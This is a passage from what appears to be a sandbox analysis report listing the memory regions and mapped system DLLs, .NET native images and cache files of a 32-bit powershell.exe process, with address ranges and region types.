name = "powershell.exe.mui"
filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui")
Region:
id = 537
start_va = 0xf0000
end_va = 0xf0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000000f0000"
filename = ""
Region:
id = 538
start_va = 0x100000
end_va = 0x100fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000100000"
filename = ""
Region:
id = 539
start_va = 0x1b0000
end_va = 0x1bffff
entry_point = 0x0
region_type = private
name = "private_0x00000000001b0000"
filename = ""
Region:
id = 540
start_va = 0x480000
end_va = 0x580fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000480000"
filename = ""
Region:
id = 541
start_va = 0x590000
end_va = 0x118ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000590000"
filename = ""
Region:
id = 542
start_va = 0x1230000
end_va = 0x126ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001230000"
filename = ""
Region:
id = 543
start_va = 0x75660000
end_va = 0x7566bfff
entry_point = 0x756610e1
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 544
start_va = 0x73cf0000
end_va = 0x73d2ffff
entry_point = 0x73cfa2dd
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")
Region:
id = 545
start_va = 0x110000
end_va = 0x110fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000110000"
filename = ""
Region:
id = 546
start_va = 0x1270000
end_va = 0x134efff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001270000"
filename = ""
Region:
id = 547
start_va = 0x1400000
end_va = 0x143ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001400000"
filename = ""
Region:
id = 548
start_va = 0x76460000
end_va = 0x764e2fff
entry_point = 0x764623d2
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 549
start_va = 0x120000
end_va = 0x120fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000120000"
filename = ""
Region:
id = 550
start_va = 0x764f0000
end_va = 0x77139fff
entry_point = 0x76571601
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 551
start_va = 0x74dc0000
end_va = 0x74dd6fff
entry_point = 0x74dc1c9d
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")
Region:
id = 552
start_va = 0x75710000
end_va = 0x7571afff
entry_point = 0x75711992
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 553
start_va = 0x170000
end_va = 0x171fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000170000"
filename = ""
Region:
id = 554
start_va = 0x180000
end_va = 0x180fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000180000"
filename = ""
Region:
id = 555
start_va = 0x190000
end_va = 0x191fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000190000"
filename = ""
Region:
id = 556
start_va = 0x240000
end_va = 0x27ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000240000"
filename = ""
Region:
id = 557
start_va = 0x1440000
end_va = 0x170efff
entry_point = 0x1440000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 558
start_va = 0x745b0000
end_va = 0x746a4fff
entry_point = 0x745c0d9e
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")
Region:
id = 559
start_va = 0x746f0000
end_va = 0x7488dfff
entry_point = 0x7471e6b5
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")
Region:
id = 560
start_va = 0x7ffde000
end_va = 0x7ffdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffde000"
filename = ""
Region:
id = 561
start_va = 0x74460000
end_va = 0x74480fff
entry_point = 0x7446145e
region_type = mapped_file
name = "ntmarta.dll"
filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")
Region:
id = 562
start_va = 0x76140000
end_va = 0x76184fff
entry_point = 0x761411e1
region_type = mapped_file
name = "wldap32.dll"
filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")
Region:
id = 563
start_va = 0x1a0000
end_va = 0x1a3fff
entry_point = 0x1a0000
region_type = mapped_file
name = "cversions.1.db"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db")
Region:
id = 564
start_va = 0x1c0000
end_va = 0x1dffff
entry_point = 0x1c0000
region_type = mapped_file
name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000015.db" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000015.db")
Region:
id = 565
start_va = 0x75790000
end_va = 0x757a1fff
entry_point = 0x75791441
region_type = mapped_file
name = "devobj.dll"
filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")
Region:
id = 566
start_va = 0x759b0000
end_va = 0x759d6fff
entry_point = 0x759b58b9
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 567
start_va = 0x76190000
end_va = 0x7632cfff
entry_point = 0x761917e7
region_type = mapped_file
name = "setupapi.dll"
filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")
Region:
id = 568
start_va = 0x1e0000
end_va = 0x1e0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001e0000"
filename = ""
Region:
id = 569
start_va = 0x1390000
end_va = 0x13cffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001390000"
filename = ""
Region:
id = 570
start_va = 0x1710000
end_va = 0x180ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001710000"
filename = ""
Region:
id = 571
start_va = 0x1810000
end_va = 0x1c02fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001810000"
filename = ""
Region:
id = 572
start_va = 0x6fb80000
end_va = 0x6fbcbfff
entry_point = 0x6fb82c14
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")
Region:
id = 573
start_va = 0x7ffdd000
end_va = 0x7ffddfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdd000"
filename = ""
Region:
id = 574
start_va = 0x6d9f0000
end_va = 0x6da1dfff
entry_point = 0x6d9f0000
region_type = mapped_file
name = "shdocvw.dll"
filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll")
Region:
id = 575
start_va = 0x6d9e0000
end_va = 0x6d9e8fff
entry_point = 0x6d9e153e
region_type = mapped_file
name = "linkinfo.dll"
filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll")
Region:
id = 576
start_va = 0x1a0000
end_va = 0x1a3fff
entry_point = 0x1a0000
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 577
start_va = 0x200000
end_va = 0x22ffff
entry_point = 0x200000
region_type = mapped_file
name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000f.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000f.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000f.db")
Region:
id = 578
start_va = 0x230000
end_va = 0x233fff
entry_point = 0x230000
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 579
start_va = 0x1190000
end_va = 0x11f5fff
entry_point = 0x1190000
region_type = mapped_file
name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")
Region:
id = 580
start_va = 0x73300000
end_va = 0x7336ffff
entry_point = 0x73301f65
region_type = mapped_file
name = "ntshrui.dll"
filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll")
Region:
id = 581
start_va = 0x755b0000
end_va = 0x755c8fff
entry_point = 0x755b1319
region_type = mapped_file
name = "srvcli.dll"
filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")
Region:
id = 582
start_va = 0x1d80000
end_va = 0x1dbffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001d80000"
filename = ""
Region:
id = 583
start_va = 0x6e620000
end_va = 0x6e62afff
entry_point = 0x6e621200
region_type = mapped_file
name = "cscapi.dll"
filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")
Region:
id = 584
start_va = 0x7ffdc000
end_va = 0x7ffdcfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdc000"
filename = ""
Region:
id = 585
start_va = 0x741b0000
end_va = 0x741b9fff
entry_point = 0x741b4d20
region_type = mapped_file
name = "slc.dll"
filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")
Region:
id = 586
start_va = 0x751e0000
end_va = 0x751f5fff
entry_point = 0x751e2dc3
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")
Region:
id = 587
start_va = 0x74f80000
end_va = 0x74fbafff
entry_point = 0x74f8128d
region_type = mapped_file
name = "rsaenh.dll"
filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")
Region:
id = 588
start_va = 0x60590000
end_va = 0x60607fff
entry_point = 0x6059f7ba
region_type = mapped_file
name = "mscoreei.dll"
filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")
Region:
id = 589
start_va = 0x74c60000
end_va = 0x74c68fff
entry_point = 0x74c61220
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")
Region:
id = 590
start_va = 0x280000
end_va = 0x280fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000280000"
filename = ""
Region:
id = 591
start_va = 0x1cc0000
end_va = 0x1cfffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001cc0000"
filename = ""
Region:
id = 592
start_va = 0x5f2a0000
end_va = 0x5f84afff
entry_point = 0x5f2a0000
region_type = mapped_file
name = "mscorwks.dll"
filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")
Region:
id = 593
start_va = 0x723b0000
end_va = 0x7244afff
entry_point = 0x723b0000
region_type = mapped_file
name = "msvcr80.dll"
filename = "\\Windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")
Region:
id = 594
start_va = 0x290000
end_va = 0x290fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000290000"
filename = ""
Region:
id = 595
start_va = 0x2a0000
end_va = 0x2a0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000002a0000"
filename = ""
Region:
id = 596
start_va = 0x1200000
end_va = 0x120ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001200000"
filename = ""
Region:
id = 597
start_va = 0x1210000
end_va = 0x121ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001210000"
filename = ""
Region:
id = 598
start_va = 0x1220000
end_va = 0x122ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001220000"
filename = ""
Region:
id = 599
start_va = 0x1350000
end_va = 0x135ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001350000"
filename = ""
Region:
id = 600
start_va = 0x1360000
end_va = 0x136ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001360000"
filename = ""
Region:
id = 601
start_va = 0x1370000
end_va = 0x137ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001370000"
filename = ""
Region:
id = 602
start_va = 0x1c10000
end_va = 0x1caffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001c10000"
filename = ""
Region:
id = 603
start_va = 0x1d00000
end_va = 0x1d3ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001d00000"
filename = ""
Region:
id = 604
start_va = 0x1e70000
end_va = 0x1e7ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001e70000"
filename = ""
Region:
id = 605
start_va = 0x1e80000
end_va = 0x3e7ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001e80000"
filename = ""
Region:
id = 606
start_va = 0x3ef0000
end_va = 0x3f2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000003ef0000"
filename = ""
Region:
id = 607
start_va = 0x5e7a0000
end_va = 0x5f297fff
entry_point = 0x5e7a0000
region_type = mapped_file
name = "mscorlib.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")
Region:
id = 608
start_va = 0x7ffda000
end_va = 0x7ffdafff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffda000"
filename = ""
Region:
id = 609
start_va = 0x7ffdb000
end_va = 0x7ffdbfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdb000"
filename = ""
Region:
id = 635
start_va = 0x1380000
end_va = 0x138ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001380000"
filename = ""
Region:
id = 636
start_va = 0x3f30000
end_va = 0x4211fff
entry_point = 0x3f30000
region_type = mapped_file
name = "system.management.automation.dll"
filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")
Region:
id = 637
start_va = 0x5e000000
end_va = 0x5e79bfff
entry_point = 0x5e000000
region_type = mapped_file
name = "system.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")
Region:
id = 638
start_va = 0x5fa50000
end_va = 0x5fad0fff
entry_point = 0x5fa50000
region_type = mapped_file
name = "microsoft.powershell.consolehost.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\4bdde288f147e3b3f2c090ecdf704e6d\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\4bdde288f147e3b3f2c090ecdf704e6d\\microsoft.powershell.consolehost.ni.dll")
Region:
id = 639
start_va = 0x5d490000
end_va = 0x5dd09fff
entry_point = 0x5d490000
region_type = mapped_file
name = "system.management.automation.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management.A#\\a8e3a41ecbcc4bb1598ed5719f965110\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management.a#\\a8e3a41ecbcc4bb1598ed5719f965110\\system.management.automation.ni.dll")
Region:
id = 640
start_va = 0x5dd10000
end_va = 0x5dff1fff
entry_point = 0x5df9ec1e
region_type = mapped_file
name = "system.management.automation.dll"
filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")
Region:
id = 641
start_va = 0x5dd10000
end_va = 0x5dff1fff
entry_point = 0x5df9ec1e
region_type = mapped_file
name = "system.management.automation.dll"
filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")
Region:
id = 642
start_va = 0x13d0000
end_va = 0x13d2fff
entry_point = 0x13d0000
region_type = mapped_file
name = "l_intl.nls"
filename = "\\Windows\\System32\\l_intl.nls" (normalized: "c:\\windows\\system32\\l_intl.nls")
Region:
id = 643
start_va = 0x4220000
end_va = 0x42dffff
entry_point = 0x4220000
region_type = mapped_file
name = "kernelbase.dll.mui"
filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")
Region:
id = 644
start_va = 0x760d0000
end_va = 0x760d4fff
entry_point = 0x760d1438
region_type = mapped_file
name = "psapi.dll"
filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")
Region:
id = 645
start_va = 0x13e0000
end_va = 0x13e0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000013e0000"
filename = ""
Region:
id = 646
start_va = 0x13f0000
end_va = 0x13f4fff
entry_point = 0x13f0000
region_type = mapped_file
name = "sorttbls.nlp"
filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp")
Region:
id = 647
start_va = 0x1dc0000
end_va = 0x1e00fff
entry_point = 0x1dc0000
region_type = mapped_file
name = "sortkey.nlp"
filename = "\\Windows\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp" (normalized: "c:\\windows\\assembly\\gac_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp")
Region:
id = 648
start_va = 0x5dd10000
end_va = 0x5dff1fff
entry_point = 0x5df9ec1e
region_type = mapped_file
name = "system.management.automation.dll"
filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")
Region:
id = 649
start_va = 0x5dd10000
end_va = 0x5dff1fff
entry_point = 0x5df9ec1e
region_type = mapped_file
name = "system.management.automation.dll"
filename = "\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll")
Region:
id = 650
start_va = 0x1cb0000
end_va = 0x1cb7fff
entry_point = 0x1cb0000
region_type = mapped_file
name = "microsoft.wsman.runtime.dll"
filename = "\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\microsoft.wsman.runtime.dll")
Region:
id = 651
start_va = 0x1d40000
end_va = 0x1d40fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001d40000"
filename = ""
Region:
id = 652
start_va = 0x1e10000
end_va = 0x1e52fff
entry_point = 0x1e10000
region_type = mapped_file
name = "system.transactions.dll"
filename = "\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll")
Region:
id = 653
start_va = 0x5d120000
end_va = 0x5d1bbfff
entry_point = 0x5d120000
region_type = mapped_file
name = "system.transactions.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Transactions\\ad18f93fc713db2c4b29b25116c13bd8\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.transactions\\ad18f93fc713db2c4b29b25116c13bd8\\system.transactions.ni.dll")
Region:
id = 654
start_va = 0x5d1c0000
end_va = 0x5d244fff
entry_point = 0x5d1c0000
region_type = mapped_file
name = "microsoft.wsman.management.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.WSMan.Man#\\f1865caa683ceb3d12b383a94a35da14\\Microsoft.WSMan.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.wsman.man#\\f1865caa683ceb3d12b383a94a35da14\\microsoft.wsman.management.ni.dll")
Region:
id = 655
start_va = 0x5d250000
end_va = 0x5d484fff
entry_point = 0x5d250000
region_type = mapped_file
name = "system.core.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Core\\fbc05b5b05dc6366b02b8e2f77d080f1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.core\\fbc05b5b05dc6366b02b8e2f77d080f1\\system.core.ni.dll")
Region:
id = 656
start_va = 0x67aa0000
end_va = 0x67ae2fff
entry_point = 0x67adf03c
region_type = mapped_file
name = "system.transactions.dll"
filename = "\\Windows\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\assembly\\gac_32\\system.transactions\\2.0.0.0__b77a5c561934e089\\system.transactions.dll")
Region:
id = 657
start_va = 0x6b300000
end_va = 0x6b34afff
entry_point = 0x6b300000
region_type = mapped_file
name = "microsoft.powershell.commands.diagnostics.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\e112e4460a0c9122de8c382126da4a2f\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\e112e4460a0c9122de8c382126da4a2f\\microsoft.powershell.commands.diagnostics.ni.dll")
Region:
id = 658
start_va = 0x727f0000
end_va = 0x72814fff
entry_point = 0x727f0000
region_type = mapped_file
name = "system.configuration.install.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Configuratio#\\f02737c83305687a68c088927a6c5a98\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.configuratio#\\f02737c83305687a68c088927a6c5a98\\system.configuration.install.ni.dll")
Region:
id = 659
start_va = 0x1d50000
end_va = 0x1d50fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001d50000"
filename = ""
Region:
id = 660
start_va = 0x5ceb0000
end_va = 0x5cf72fff
entry_point = 0x5ceb0000
region_type = mapped_file
name = "microsoft.powershell.commands.management.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\583c7b9f52114c026088bdb9f19f64e8\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\583c7b9f52114c026088bdb9f19f64e8\\microsoft.powershell.commands.management.ni.dll")
Region:
id = 661
start_va = 0x5cf80000
end_va = 0x5d11dfff
entry_point = 0x5cf80000
region_type = mapped_file
name = "microsoft.powershell.commands.utility.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\82d7758f278f47dc4191abab1cb11ce3\\Microsoft.PowerShell.Commands.Utility.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\82d7758f278f47dc4191abab1cb11ce3\\microsoft.powershell.commands.utility.ni.dll")
Region:
id = 662
start_va = 0x60340000
end_va = 0x60347fff
entry_point = 0x60340000
region_type = mapped_file
name = "culture.dll"
filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Culture.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\culture.dll")
Region:
id = 663
start_va = 0x6b750000
end_va = 0x6b77cfff
entry_point = 0x6b750000
region_type = mapped_file
name = "microsoft.powershell.security.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.PowerShel#\\6c5bef3ab74c06a641444eff648c0dde\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.powershel#\\6c5bef3ab74c06a641444eff648c0dde\\microsoft.powershell.security.ni.dll")
Region:
id = 664
start_va = 0x1d50000
end_va = 0x1d5ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001d50000"
filename = ""
Region:
id = 665
start_va = 0x3e80000
end_va = 0x3ed3fff
entry_point = 0x3e80000
region_type = mapped_file
name = "mscorrc.dll"
filename = "\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorrc.dll")
Region:
id = 666
start_va = 0x5c740000
end_va = 0x5c853fff
entry_point = 0x5c740000
region_type = mapped_file
name = "system.directoryservices.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.DirectorySer#\\45ec12795950a7d54691591c615a9e3c\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.directoryser#\\45ec12795950a7d54691591c615a9e3c\\system.directoryservices.ni.dll")
Region:
id = 667
start_va = 0x5c860000
end_va = 0x5c963fff
entry_point = 0x5c860000
region_type = mapped_file
name = "system.management.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.management\\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\\system.management.ni.dll")
Region:
id = 668
start_va = 0x5c970000
end_va = 0x5cea5fff
entry_point = 0x5c970000
region_type = mapped_file
name = "system.xml.ni.dll"
filename = "\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.xml\\461d3b6b3f43e6fbe6c897d5936e17e4\\system.xml.ni.dll")
Region:
id = 669
start_va = 0x72460000
end_va = 0x72464fff
entry_point = 0x72460000
region_type = mapped_file
name = "shfolder.dll"
filename = "\\Windows\\System32\\shfolder.dll" (normalized: "c:\\windows\\system32\\shfolder.dll")
Region:
id = 670
start_va = 0x1d60000
end_va = 0x1d70fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001d60000"
filename = ""
Region:
id = 671
start_va = 0x1e60000
end_va = 0x1e6ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001e60000"
filename = ""
Region:
id = 672
start_va = 0x3ee0000
end_va = 0x3eeffff
entry_point = 0x0
region_type = private
name = "private_0x0000000003ee0000"
filename = ""
Region:
id = 673
start_va = 0x42e0000
end_va = 0x42effff
entry_point = 0x0
region_type = private
name = "private_0x00000000042e0000"
